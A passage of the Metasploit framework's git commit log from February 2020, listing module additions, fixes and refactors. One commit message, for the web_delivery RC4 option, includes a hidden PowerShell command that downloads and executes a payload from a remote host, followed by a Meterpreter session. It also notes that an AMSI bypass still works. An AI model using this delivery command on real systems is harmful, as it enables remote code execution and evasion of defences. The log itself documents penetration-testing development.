220 simh Sendmail 5.51/5.17 ready at Wed, 18 Dec 85 11:14:07 PST

Note that there was no "ESMTP" string in 1985's Sendmail.
2020-02-28 10:42:02 -06:00
cn-kali-team 9fa339eca8 Add an option,Fully implemented through API 2020-02-29 00:22:58 +08:00
cn-kali-team e9c16fb2bb New Function and Fix data type in the NetLocalGroupAddMembers parameter 2020-02-29 00:20:09 +08:00
cn-kali-team 2ef04153b4 Add Api Constants 2020-02-29 00:18:48 +08:00
cn-kali-team 1420fa9d8b Add Function 2020-02-29 00:14:55 +08:00
Spencer McIntyre 078652749d Switch how channel class args are passed around 2020-02-28 10:10:47 -05:00
Metasploit cc5df836a9 Bump version of framework to 5.0.78 2020-02-28 09:01:35 -06:00
Jeffrey Martin cda9fd2a08 lock license_finder at 5.11.1 due to bundler 2.x 2020-02-28 08:57:19 -06:00
Spencer McIntyre 29608d13bf Save some work before changing context 2020-02-28 08:30:59 -05:00
kalba-security f60f60db7f Set stance to aggressive to prevent the HTTPServer mixing from trying to make this a job 2020-02-28 13:01:51 +02:00
kalba-security 755a776a88 Merge branch 'eyesofnetwork_autodiscovery_rce' of https://github.com/kalba-security/metasploit-framework into eyesofnetwork_autodiscovery_rce 2020-02-28 12:23:37 +02:00
kalba-security 5ee7fcaf4a Add simple changes suggested in code review. 2020-02-28 12:14:38 +02:00
Erik Wynter 2c0ea83286 Apply suggestions from code review
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-28 11:29:09 +02:00
kalba-security a4ded39d62 Remove unnecessary empty lines in docs. Mostly to restart the Travis CI build check because it got stuck. 2020-02-28 10:34:14 +02:00
Spencer McIntyre c9d9d3af29 Figured out how to generate the viewstate 2020-02-27 21:57:08 -05:00
bwatters-r7 ea64a6225a First draft of CVE-2020-0668 2020-02-27 15:53:09 -06:00
William Vu 0693f17170 Land #13005, pry-byebug integration 2020-02-27 11:37:02 -06:00
Alan Foster fc49df003d Integrate pry-byebug 2020-02-27 17:25:17 +00:00
kalba-security 99ed3afab3 Change filenames for consistency with existing modules 2020-02-27 17:08:23 +02:00
Jeffrey Martin ffd5a0b39d add cmd/unix/reverse_ssh test stub 2020-02-27 09:07:37 -06:00
kalba-security 280d1767b4 Add Nagios XI < 5.6.6. exploit module and documentation 2020-02-27 16:58:15 +02:00
Metasploit 3b1ead48fa automatic module_metadata_base.json update 2020-02-27 03:00:15 -06:00
William Vu 22fe846b39 Land #13002, Expect mixin cleanup 2020-02-27 02:51:11 -06:00
William Vu 4cd52c5f32 Reorder Expect mixin's send_expect parameters 2020-02-27 02:48:11 -06:00
Metasploit f3c6eeceac automatic module_metadata_base.json update 2020-02-27 02:25:50 -06:00
William Vu 59aa854c5d Land #13001, OpenSMTPD CVE-2020-7247 fixes 2020-02-27 02:16:02 -06:00
William Vu 8820944696 Fix exploit/unix/smtp/opensmtpd_mail_from_rce 2020-02-27 02:11:08 -06:00
Tim W e36db605a6 Land #12907, update unix_users.txt 2020-02-27 15:18:31 +08:00
Metasploit 0292e5c282 automatic module_metadata_base.json update 2020-02-26 10:50:37 -06:00
Spencer McIntyre f2fead66f9 Land #12865, add features to the rdi post module 2020-02-26 11:41:26 -05:00
Spencer McIntyre 061d76ebed Clarify some around new functionality
Add some verbiage that clarifies options and messages regarding
the new functionality privded in the reflective_dll_inject module.
2020-02-26 11:31:34 -05:00
Metasploit b44415a1f6 automatic module_metadata_base.json update 2020-02-26 09:39:17 -06:00
dwelch-r7 1b949807c6 Land #12997, Fix msftidy warnings for commented out refs 2020-02-26 15:30:46 +00:00
Adam Galway 31754f71e4 replaces type:aux with type:auxiliary on search 2020-02-26 15:13:02 +00:00
Alan Foster af9d2a28de Fix msftidy warnings 2020-02-26 14:56:08 +00:00
Metasploit 908bdaa5f9 automatic module_metadata_base.json update 2020-02-26 07:56:03 -06:00
dwelch-r7 40d068ca8c Land #12995, Add support for smbv2 to pipe auditor 2020-02-26 13:49:11 +00:00
Alan Foster ff8bb2e16f Land #12960, add ttl to job results instantiated from an RPC request 2020-02-26 13:42:30 +00:00
Metasploit ae28463ec6 automatic module_metadata_base.json update 2020-02-26 06:28:10 -06:00
dwelch-r7 7d6906b225 Land #12992, Fix a typo 2020-02-26 12:21:12 +00:00
Metasploit d5bdfe7253 automatic module_metadata_base.json update 2020-02-26 06:13:19 -06:00
dwelch-r7 f7a772902b Land #12952, Add additional pry dependencies 2020-02-26 12:02:40 +00:00
dwelch-r7 d26e281787 Land #12994, Remove executable flags from modules 2020-02-26 11:59:47 +00:00
dwelch-r7 89bea26763 Replace results count with something that works and added tests 2020-02-26 11:52:45 +00:00
Alan Foster 353f4281bd Add additional pry dependencies 2020-02-26 11:31:35 +00:00
Christophe De La Fuente 664e235e0b Change vprint_bad to vprint_error 2020-02-26 12:17:59 +01:00
Christophe De La Fuente 071b9598a4 Add support to SMBv2 and remove catch-all exception handler 2020-02-26 11:53:41 +01:00
Alan Foster 6bac1ec2aa Remove executable flags from exploit files 2020-02-26 10:39:50 +00:00
paulkell 094fe9c134 Fix for a simple typo. 2020-02-25 19:59:27 -05:00
dwelch-r7 fdf0447ecf Track results size 2020-02-25 15:39:41 +00:00
dwelch-r7 5c94910998 Add a cache to handle the ttl of job results
Remove accidental addition of gem

Remove commented out code

Remove commented out code

Remove commented out code

Refactor job tracking code, remove simple framework tests

finish renaming service to job_state_tracker

add missing require and move alias definition

fix private attr declaration

Add rspec tests

Address PR comments

Use let syntax in tests

Finish refactor moving job state tracker
2020-02-25 13:31:28 +00:00
cn-kali-team ee64f38d8c Added post module for adding local user accounts 2020-02-25 20:03:05 +08:00
cn-kali-team 04d54bc786 Added additional netapi32.dll functions 2020-02-25 20:00:21 +08:00
cn-kali-team 87ee307183 Add New Function 2020-02-25 19:59:36 +08:00
Alan Foster 8190ce7644 land #12419, rpc client - add delete credentials support 2020-02-25 10:59:25 +00:00
adfoster-r7 6f8d7726ea Fix host typo 2020-02-25 10:56:47 +00:00
ticofoo cfd9b12a13 Change handling of elapsed_time as suggested by acammack-r7 2020-02-25 10:14:02 +01:00
Tim W fc1f4936ac fix reverse_powershell on Windows 7 2020-02-25 16:40:19 +08:00
Spencer McIntyre d231c17af8 Show the source port too in the connect command 2020-02-24 19:08:32 -05:00
William Vu ec828d3be2 Land #12971, refactor of AutoCheck and CheckModule 2020-02-24 17:49:17 -06:00
Spencer McIntyre e5fc41a22f Refactor the initialize method to use 'packet' 2020-02-24 14:01:01 -05:00
PierrickV a4c97a0a09 Fix broken links to http://jedicorp.com/?p=534 with archive.org 2020-02-24 18:17:06 +01:00
bwatters-r7 320de0ffbf Land #12978, Add option powershell::exec_rc4 in web_delivery
Merge branch 'land-12978' into upstream-master
2020-02-24 09:42:28 -06:00
Alan Foster 00df264bc9 Land #12916, Colorize HttpTrace output, add an option to show headers only 2020-02-24 11:42:21 +00:00
Adam Galway 6f33c9ad99 Land #12953 fix rpc module check & adds unit tests 2020-02-24 11:26:38 +00:00
Alan Foster 70927f1db1 Land #12964, Adds RPC call for total modules running, ready, and with results 2020-02-24 11:22:03 +00:00
Adam Galway cff41a6e1c rename rpc call to running_stats 2020-02-24 11:09:54 +00:00
Tim W b8e19959e0 Revert "Land #12970, revert reverse_powershell changes"
This reverts commit 7aa89c9d4e, reversing
changes made to 8a5db82224.
2020-02-23 19:22:20 +08:00
Adrian Vollmer ff9dad2b28 Add option powershell::exec_rc4 in web_delivery
This options makes use of RC4 for obfuscating powershell payloads. See
https://github.com/rapid7/rex-powershell/pull/14.

Now that the PR in rex-powershell has been merged, I am submitting this
PR which provides the new option powershell::exec_rc4 to make use of the
functionality added by the other PR. It enables using unstaged payloads
in web_delivery and obfuscates everything with RC4.

At first I wanted to include an AMSI bypass, but the maintainers were
against it, as it is a rapidly moving target. However, please note that
I'm using the same idea in another project of mine
(https://github.com/AdrianVollmer/PowerHub) and Matt Graber's original
AMSI bypass still works when obfuscating each string with RC4.

For verification and testing, the following output shows the steps you
need to take (here all included in the command line). Obviously, LHOST
needs to be adjusted.

    $ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
    [...]
    15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
    [*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
    [*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
    [*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
    [*] [2019.10.26-15:43:34] Server started.
    [*] [2019.10.26-15:43:34] Run the following command on the target machine:
    powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
    [*] [2019.10.26-15:43:37] 192.168.11.3     web_delivery - Delivering Payload (372601) bytes
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
    [*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
    sessions -i 1
    [*] Starting interaction with 1...

    meterpreter > sysinfo
    Computer        : SYSS-AVOLLMER-W
    OS              : Windows 10 (10.0 Build 18362).
    Architecture    : x64
    System Language : de_DE
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows
2020-02-23 11:32:48 +01:00
Metasploit 43fd35964c automatic module_metadata_base.json update 2020-02-23 03:15:48 -06:00
Brent Cook f59ec03c42 Land #12465, add Android Binder UAF (CVE-2019-2215) 2020-02-23 01:06:33 -08:00
Brent Cook ef8ec13c88 added module docs and testing notes 2020-02-23 01:04:30 -08:00
Brent Cook 15a4fc7499 Land #12914, Update rvm GPG keys in Vagrant provisioner 2020-02-23 00:39:43 -08:00
Brent Cook aac4774551 Land #12951, update module doc template 2020-02-23 00:33:39 -08:00
Brent Cook 0da64cd699 Land #12976, Add additional logging for unknown postgres authtypes 2020-02-23 00:27:02 -08:00
airevan 5a58fbb0e5 Remove space 2020-02-23 14:45:53 +08:00
airevan d102f3e48f Remove space 2020-02-23 13:03:13 +08:00
airevan adaa9e239a Add phpstudy backdoor exploit module 2020-02-23 10:23:32 +08:00
Alan Foster 3ab407d947 Add additional logging for unknown postgres authtypes 2020-02-23 01:27:42 +00:00
airevan bb7ed355f0 Add phpstudy backdoor exploit module 2020-02-22 22:55:45 +08:00
airevan 6a07160bd5 Add phpstudy backdoor exploit module 2020-02-22 19:53:06 +08:00
Metasploit 011ed3602c automatic module_metadata_base.json update 2020-02-21 19:21:50 -06:00
Tim W 7aa89c9d4e Land #12970, revert reverse_powershell changes 2020-02-22 09:12:51 +08:00
Brent Cook 8a5db82224 Land #12973, update Gemfile.lock 2020-02-21 17:10:11 -06:00
William Vu 957b2f2163 Update Gemfile.lock 2020-02-21 17:05:01 -06:00
William Vu 0b133d28a2 Land #12972, msfvenom Zsh completion fix 2020-02-21 16:45:52 -06:00
Spencer McIntyre c23a4b195e Remove the --help-formats option 2020-02-21 17:40:08 -05:00
Metasploit b6bd7031f8 automatic module_metadata_base.json update 2020-02-21 16:05:25 -06:00
William Vu 7f36cfec84 Refactor CheckModule and AutoCheck a bit 2020-02-21 16:00:29 -06:00
Jeffrey Martin 578bf9999f Land #12955, Update logic for ForceExploit in modules 2020-02-21 15:45:12 -06:00
William Vu fda8b6df3c Note that unsetting HttpTraceColors disables color 2020-02-21 14:39:38 -06:00
William Vu 83e06ab59e DRY send_request_cgi into using send_request_raw 2020-02-21 14:36:58 -06:00
William Vu 0a1313f183 Show both color and banners and refactor code
This is the best of both worlds for visibility and copy/pasted output.
2020-02-21 14:18:58 -06:00
Alan Foster 8a59b8cb1c Ensure thread cleanup 2020-02-21 17:36:20 +00:00
dwelch-r7 eb60fa1de1 Land #12968, Fix aux moules check command 2020-02-21 16:30:16 +00:00
tperry-r7 3d388fff0c Changed application to singular. 2020-02-21 09:30:34 -06:00
Metasploit b5be9402b1 automatic module_metadata_base.json update 2020-02-21 09:27:07 -06:00
bwatters-r7 2db93c9051 Land #12002, Feature/reverse ssh
Merge branch 'land-12002' into upstream-master
2020-02-21 09:17:51 -06:00
Metasploit 5b0eab476a automatic module_metadata_base.json update 2020-02-21 08:58:53 -06:00
Christophe De La Fuente f9077bcd8d Land #12704, OpenNetAdmin 18.1.1 Remote Code Execution exploit 2020-02-21 15:49:26 +01:00
Christophe De La Fuente 5e4b83581a Fix indentation issue 2020-02-21 15:47:32 +01:00
Metasploit 00638f2e41 automatic module_metadata_base.json update 2020-02-21 08:07:23 -06:00
h00die fe0e955dc2 Land #12849, oracle_login docs 2020-02-21 08:58:16 -05:00
h00die f451041d4b oracle_login docs 2020-02-21 08:41:42 -05:00
bwatters-r7 9ef6110b54 Revert "Land #12945, fix the cmd/windows/reverse_powershell payload"
This reverts commit 564895e1a8, reversing
changes made to c1b2762b03.

This appears to make it worse.
2020-02-21 06:53:37 -06:00
Metasploit ae6b3d0bf6 automatic module_metadata_base.json update 2020-02-20 21:19:10 -06:00
bwatters-r7 c9e4ca34c3 Land #12921, Updating regex in ms16_075_reflection_juicy exploit windows version check
Merge branch 'land-12921' into upstream-master
2020-02-20 21:10:37 -06:00
Metasploit 57ddd4b37c automatic module_metadata_base.json update 2020-02-20 21:01:48 -06:00
bwatters-r7 564895e1a8 Land #12945, fix the cmd/windows/reverse_powershell payload
Merge branch 'land-12945' into upstream-master
2020-02-20 20:52:46 -06:00
Onur ER e4456c9006 Update opennetadmin_ping_cmd_injection.md 2020-02-21 04:14:21 +03:00
Onur ER f483b80849 Changed to vars_post 2020-02-21 03:48:12 +03:00
Onur ER 695f6869df Update opennetadmin_ping_cmd_injection.rb 2020-02-21 03:13:44 +03:00
Onur ER f90d605c21 Update modules/exploits/unix/webapp/opennetadmin_ping_cmd_injection.rb
Co-Authored-By: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-02-21 03:07:27 +03:00
Onur ER 1fe1506b42 Update documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md
Co-Authored-By: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-02-21 03:06:56 +03:00
0x44434241 f6e4b52446 Removing dead code. 2020-02-21 08:33:20 +09:00
Brent Cook c1b2762b03 Land #12966, update DisablePayloadHandler warning msg. 2020-02-20 16:46:48 -06:00
Metasploit c309e2325f Bump version of framework to 5.0.77 2020-02-20 12:06:57 -06:00
William Vu de6306fa35 Fix message, once more with feeling 2020-02-20 11:26:21 -06:00
Alan Foster f780d94ec6 Remove dead code for aux scanner modules check 2020-02-20 16:54:25 +00:00
William Vu 9c69059a24 Fix DisablePayloadHandler warning once and for all 2020-02-20 10:35:47 -06:00
Adam Galway 962e39148f renames rpc call 2020-02-20 14:48:25 +00:00
Adam Galway 8425000ff3 renames rpc call to be more readable 2020-02-20 14:13:39 +00:00
Adam Galway 73d2b2cf2c adds rpc call returning all module stats 2020-02-20 14:04:16 +00:00
Metasploit df277e1406 automatic module_metadata_base.json update 2020-02-20 03:52:12 -06:00
Christophe De La Fuente f484e6c83c Land #12862, Apache James 2.3.2 arbitrary file write exploit module 2020-02-20 10:41:13 +01:00
kalba-security c2f13d906b fix sqli get request syntax 2020-02-20 11:38:43 +02:00
mattaberegg a861ad3f21 Payload handler/cleanup improvement 2020-02-19 18:57:08 -08:00
mattaberegg 739928b56a Added line break to docs 2020-02-19 17:56:13 -08:00
Metasploit 29f5a1c425 Bump version of framework to 5.0.76 2020-02-19 13:39:25 -06:00
William Vu de56cde848 Land #12961, vendored Expect library 2020-02-19 13:10:43 -06:00
Adam Cammack ee80e9eb34 Vendor the stdlib expect for Windows sockets
`expect.rb` is part of the `pty` extension to the Ruby stdlib since it
uses `select` and is meant for use with things like pipes or terminals
and Windows does not allow for selecting on those sorts of handles.
Since we only use it for sockets, we can pull it in straight to allow
for use on Windows without building the whole `pty` extension.
2020-02-19 12:56:36 -06:00
bwatters-r7 1aa412ccc0 add some of bcoles suggested fixes 2020-02-19 13:52:38 -05:00
bwatters-r7 f44f200f49 Remove problematic ruby cmd payloads and fix missing require in reverse_ssh 2020-02-19 13:52:38 -05:00
William Vu 7a9ecd76c5 Land #12946, set PAYLOAD normalization 2020-02-19 11:19:51 -06:00
William Vu c5917048fb Make quotes consistent 2020-02-19 11:19:42 -06:00
Adam Galway e25cf99ce3 improved sub! regex 2020-02-19 17:12:28 +00:00
Adam Galway 9b52ece7b7 simplifies start_with? 2020-02-19 17:06:02 +00:00
Metasploit 9010446a48 automatic module_metadata_base.json update 2020-02-19 10:45:52 -06:00
Shelby Pace db8555e007 Land #12942, add Diamorphine privilege escalation 2020-02-19 10:36:39 -06:00
Adam Galway d670276148 Land #12954, fixes typos in CrossChex exploit docs 2020-02-19 15:40:46 +00:00
ide0x90 ac482a0d31 Typo in documentation 2020-02-19 23:32:07 +08:00
kalba-security 9980a96917 Move documentation to correct directory 2020-02-19 16:57:38 +02:00
kalba-security 0d0bd865c8 add eyesofnetwork module and docs 2020-02-19 16:33:04 +02:00
dwelch-r7 a8af2a227e Land #12958, Fix broken module doc link 2020-02-19 14:07:25 +00:00
Alan Foster e1cd219d63 Fix broken module documentation link 2020-02-19 13:02:57 +00:00
0x44434241 4288632203 Applied suggestions from rubocop.
Feedback from bwatters-r7
2020-02-19 16:59:08 +09:00
William Vu 7dc1315dac Update logic for ForceExploit in my modules
This lets the user opt out of running check completely.
2020-02-19 01:06:50 -06:00
Metasploit a016ca4b4f automatic module_metadata_base.json update 2020-02-19 00:55:05 -06:00
William Vu ede90ef9a1 Land #12938, CPU vulns for Linux enum_system 2020-02-19 00:46:32 -06:00
Tim W 89dc1aebf8 add stderr output and attempt to fix utf8 2020-02-19 13:28:53 +08:00
William Vu 0264802756 Reformat module doc 2020-02-18 23:28:08 -06:00
William Vu a34ffb3694 Fix typos in module doc 2020-02-18 23:27:15 -06:00
William Vu 6ad9956af8 Correct module doc filename 2020-02-18 23:24:46 -06:00
William Vu 4fa3b25788 Correct language in crosschex_device_bof 2020-02-18 23:18:45 -06:00
William Vu 48ebd500b6 Land #12948, Zsh completions update 2020-02-18 22:21:20 -06:00
0x44434241 028285de77 Refactoring juicy potato check() logic.
Previously, server 2016/19 was not correctly detected and falsely
reporting as vulnerable, because the check was overly trusting the
reported OS name - see PR #355 for a description of the problem.

Furthermore, I discovered a self-introduced bug in the regex of build
detection, which would in some cases first match on '2016' and not the
build number, which would be less than the five-digit build number for
the forseeable future.

Testing data included in PR comments.

Feedback from @bwatters-r7
2020-02-19 11:19:02 +09:00
Metasploit ef108ea71d automatic module_metadata_base.json update 2020-02-18 19:43:32 -06:00
Tim W aa1fdb2075 Land #12724, server AMSI and SBL separately from psh stager in web_delivery 2020-02-19 09:33:25 +08:00
Tim W 516deaaf49 use rex-powershell 0.1.86 2020-02-19 09:29:47 +08:00
Tim W 0d8a86905a fix sessions -K 2020-02-19 08:30:45 +08:00
Tim W 5497876fd2 fix #12579, make reverse_powershell great again 2020-02-19 07:58:59 +08:00
Spencer McIntyre 0bf6d3e645 Fix a ttypo in the _msfconsole zsh completion 2020-02-18 17:25:40 -05:00
Alan Foster 9c987b8271 Add json rpc tests for module checks 2020-02-18 21:43:15 +00:00
Spencer McIntyre e5befa676f Fix a bug with te tcp_server_channel 2020-02-18 16:06:46 -05:00
Spencer McIntyre 57ef3d9ec6 Use the updated value when port forwarding 2020-02-18 15:31:14 -05:00
Spencer McIntyre 28e9bc5d14 Move the params_hash_from_response class method 2020-02-18 14:17:00 -05:00
Spencer McIntyre fadb51eae3 Make the zsh completion help messages consistent 2020-02-18 13:24:20 -05:00
Spencer McIntyre 7f046a7d89 Update zsh completion definitions 2020-02-18 13:24:20 -05:00
tperry-r7 4de546fa6a Update module doc template
This builds on the changes in https://github.com/rapid7/metasploit-framework/pull/12831 and https://github.com/rapid7/metasploit-framework/pull/12878 to standardize the module documentation. The template matches the changes discussed.
2020-02-18 10:55:13 -06:00
Adam Galway 62eb756fe2 establish parity with #8882 2020-02-18 16:28:44 +00:00
Metasploit 4c11711a44 automatic module_metadata_base.json update 2020-02-18 09:41:22 -06:00
wvu-r7 6718a7dd78 Land #12950, fix for #12949 2020-02-18 09:34:37 -06:00
Brent Cook 9aac803f41 remove a scratchpad line I saved while testing blog link fixes 2020-02-18 09:26:29 -06:00
Metasploit b76e76b00e automatic module_metadata_base.json update 2020-02-18 09:22:58 -06:00
William Vu 6b940a02ca Land #12949, Rapid7 blog reference fixes 2020-02-18 09:14:36 -06:00
Brent Cook 8489bcdfd9 This fixes broken links to the community.rapid7.com blog
Performed mechanically with sed, spot-checked that the new blog can consume these links.
2020-02-18 09:06:11 -06:00
Spencer McIntyre c2326f07c9 Land #12932, optionally show the payload stage
Add the -v flag to optionally show the payload stage in the generate
command.
2020-02-18 08:55:37 -05:00
Adam Galway 235861d4ed removes greedy if 2020-02-18 10:30:36 +00:00
Adam Galway 13784bb35d replaces if statements with regex 2020-02-18 09:51:39 +00:00
Spencer McIntyre 0459e05420 Update returned socket parameters from meterpreter 2020-02-18 00:36:04 -05:00
ticofoo cfd41c49ec Fix bug in owa_login if AUTH_TIME is set to false 2020-02-17 23:32:25 +01:00
Christophe De La Fuente 1b54d27301 Update code #2
- Make error message more descriptive
- Use `Rex.sleep` in stead of `sleep`
- Update `detect_qsl` logic
- Change the first `Exploit::CheckCode` to `Unknown` for the `Check` method
2020-02-17 19:04:32 +01:00
Christophe De La Fuente 828d974db5 Update code and documentation
- Add `OperationMaxRetries` option documentation
- Add default value to `TARGETURI` and update the documentation
- Remove `PosOffset` advanced option and hardcode the value
- Update `Description`
- Move URI encoding logic to `send_crafted_request`
- Refactor `send_crafted_request` to handle the HTTP parameter and final & (%26)
2020-02-17 18:25:10 +01:00
Adam Galway 62e5757baa filters /payload/ from set PAYLOAD values 2020-02-17 16:00:58 +00:00
Christophe De La Fuente 0e9c637364 Randomize filename and HTTP parameter 2020-02-17 15:58:21 +01:00
Metasploit e9f8532a68 automatic module_metadata_base.json update 2020-02-17 06:10:06 -06:00
Christophe De La Fuente 226f4b0a53 Line wrap to 80 columns and small fix
- Line wrap documentation to 80 columns
- Line wrap `Description` field to 80 columns
- Remove unnecessary unless statement
2020-02-17 13:06:32 +01:00
Adam Galway 48ba1026c6 Land 12915, adds windows ssh persistence module 2020-02-17 12:02:49 +00:00
Tim W f630990b3b use random amsi resource url 2020-02-17 10:07:18 +08:00
Metasploit 36f45d5bf3 automatic module_metadata_base.json update 2020-02-16 19:34:53 -06:00
Tim W 808a158c84 Land #12931, fix the OSX password_prompt_spoof prompt module on Mojave and Catalina 2020-02-17 09:23:19 +08:00
Brendan Coles ac6d0e4391 Add Diamorphine Rootkit Signal Privilege Escalation module 2020-02-16 14:53:16 +00:00
Metasploit 8167fee11e automatic module_metadata_base.json update 2020-02-16 08:15:43 -06:00
Brendan Coles 1db1bed08f Land #12892, set default username for mysql and mssql aux login modules
Set default username `sa` for auxiliary/scanner/mssql/mssql_login
Set default username `root` for auxiliary/scanner/mysql/mysql_login

Enable `BLANK_PASSWORDS` option by default for both modules,
as the default users make use of a blank password in by default.
2020-02-16 14:20:56 +00:00
Metasploit c80ab651cb automatic module_metadata_base.json update 2020-02-15 22:25:36 -06:00
Tim W 0bffcd6212 Land #12448, fix cmd/unix/reverse_perl_ssl and cmd/unix/reverse_php_ssl payloads 2020-02-16 12:11:28 +08:00
Brendan Coles d047feeb03 Add check for CPU vulnerability status to enum_system 2020-02-15 14:35:38 +00:00
Metasploit b632a3cc6e automatic module_metadata_base.json update 2020-02-14 21:43:45 -06:00
Brendan Coles f5844ee953 Land #12830, Ensure post/windows/gather/enum_patches gathers all patches 2020-02-15 03:47:43 +00:00
Tim W 3a89bef6c4 improve description 2020-02-15 10:37:15 +08:00
Christophe De La Fuente 9193ace50b Add documentation 2020-02-14 17:17:45 -06:00
Christophe De La Fuente 351c0d1651 Small improvements 2020-02-14 17:16:27 -06:00
William Vu e315e207f1 Refactor HttpTrace and add color and headers only 2020-02-14 17:13:11 -06:00
Tim W d95391b7f4 minor refactor 2020-02-15 06:10:52 +08:00
Tim W 55d5e55c5e use simpler wasm code 2020-02-15 06:10:52 +08:00
Tim W 4b92403bba fix? 2020-02-15 06:10:52 +08:00
Tim W 5420007dff add support for osx and windows using wasm rwx region 2020-02-15 06:10:52 +08:00
Tim W f6343f35aa attempt to speed up pop_r9 gadget search 2020-02-15 06:10:52 +08:00
Tim W bb4007747b fix 2020-02-15 06:10:52 +08:00
Tim W 35dac6ea5f no offsets 2020-02-15 06:10:52 +08:00
Tim W 59ed3e5948 dynamic offsets 2020-02-15 06:10:52 +08:00
Tim W 2efc381115 strcmp 2020-02-15 06:10:52 +08:00
Tim W 6fa086a0ab add debugging option 2020-02-15 06:10:52 +08:00
Tim W bbbb9565a4 fix win7 2020-02-15 06:10:52 +08:00
Tim W d644f2d9c7 chrome 69.0.3497.100 --no-sandbox calc.exe 2020-02-15 06:10:52 +08:00
William Vu 0aca3f0712 Switch back to if statement 2020-02-14 15:07:12 -06:00
William Vu 137fee2570 Make first pass at colorized HttpTrace output 2020-02-14 15:07:09 -06:00
Tim W d6c3e4ad56 fix wasm finder to match pr description 2020-02-15 01:09:27 +08:00
Tim W 94287c94ff fix discovery and references 2020-02-15 00:39:48 +08:00
RAMELLA Sébastien 27effc1b56 typo. cmdstager command 2020-02-14 12:25:56 +04:00
0x44434241 f61c188e57 Handling possible nil case of regex on OS build.
Feedback from adfoster-r7

Testing of detection:

```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > check

[*] Target appears to be patched or not vulnerable (Windows 10 (10.0
Build 18363).)
[*] The target is not exploitable.
```

Testing of (forced) nil-case:
```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > check
[*] Reloading module...

[!] Could not determine Windows build number - exploiting might fail.
[*] The target is not exploitable.
```
2020-02-14 09:26:04 +09:00
William Vu 7e9bd506d6 Add generate -v to optionally show payload stage 2020-02-13 16:33:48 -06:00
Metasploit 1556a603f0 Bump version of framework to 5.0.75 2020-02-13 12:08:40 -06:00
Metasploit 70d365f6c9 automatic module_metadata_base.json update 2020-02-13 09:58:47 -06:00
dwelch-r7 07954c0ce2 Land #12902, Add exploit module for crosschex buffer overflow 2020-02-13 15:48:10 +00:00
dwelch-r7 0e55e20c9c Land #12902, Add exploit module for crosschex buffer overflow 2020-02-13 15:43:38 +00:00
Francesco Soncina da820f08e6 don't interact with other apps to avoid asking permissions 2020-02-13 16:17:33 +01:00
Francesco Soncina 64c4fec0d0 accept both array or string in report_loot() 2020-02-13 16:12:40 +01:00
Adam Galway 2ca2b5c7bb replaces magic numbers with target fields 2020-02-13 14:17:23 +00:00
0x44434241 fce70c9284 Adjusting print method to better reflect the situation. 2020-02-13 08:02:02 +09:00
dwelch-r7 556ad5f3b7 Land #12927, fix getsockname usage in the SOCKS5 server 2020-02-12 12:30:19 +00:00
Adam Galway cbcf8a2a68 adds to_i and removes default options 2020-02-12 12:04:15 +00:00
Spencer McIntyre d829f2ab43 Fix getsockname usage in the SOCKS5 server 2020-02-11 21:53:36 -06:00
0x44434241 6d73b572c7 Update vulnerable systems documentation.
Feedback from bcoles.
2020-02-12 08:22:43 +09:00
0x44434241 9e46926a0f Update documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-12 08:18:49 +09:00
0x44434241 785dbb6ba3 Update documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-12 08:18:27 +09:00
Adam Galway 8fd3b483d3 improves option descriptions & timeout handling 2020-02-11 15:05:24 +00:00
Adam Galway 946e244c8c Updates docs and adds basic options 2020-02-11 13:40:51 +00:00
Adam Galway a7a80e08a8 Updated docs with platform info 2020-02-11 12:55:07 +00:00
Adam Galway 3395b91c83 adds module documentation 2020-02-10 16:45:44 +00:00
Metasploit d7f92a932e automatic module_metadata_base.json update 2020-02-10 05:42:10 -06:00
Adam Galway 65521270ea Land #12853, InfiniteWP exploit & mixin upgrades 2020-02-10 11:33:49 +00:00
0x44434241 9c30250161 Updating documentation for juicy potato exploit.
Added a link to information on the expiry of the bug, and explicitly
listing which versions of Microsoft Windows were and were not
vulnerable.
2020-02-10 16:33:45 +09:00
0x44434241 25d863d912 Updating regex in exploit windows version check.
This addresses issue #12698, where the Windows OS and build was not
being parsed correctly due to changes in the client.sys.config lib.

Tested against Windows 10 (patched):

```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > rcheck
[*] Reloading module...

[-] Target appears to be patched or not vulnerable (Windows 10 (10.0
Build 18363).)
[*] The target is not exploitable.
```
2020-02-10 15:32:02 +09:00
h00die 91add39ceb extra blank line removed 2020-02-09 19:05:46 -05:00
h00die 65951dd97b nnposter list 2020-02-09 19:04:03 -05:00
Marc 632cb39c98 Merge pull request #1 from h00die/land-10579
add external script checker
2020-02-09 18:32:31 +01:00
b4rtik deb7f4ce14 Update reflective_dll_inject.rb 2020-02-09 13:26:34 +01:00
h00die b997e5679f update bloodhound to recent version 2020-02-08 16:06:06 -05:00
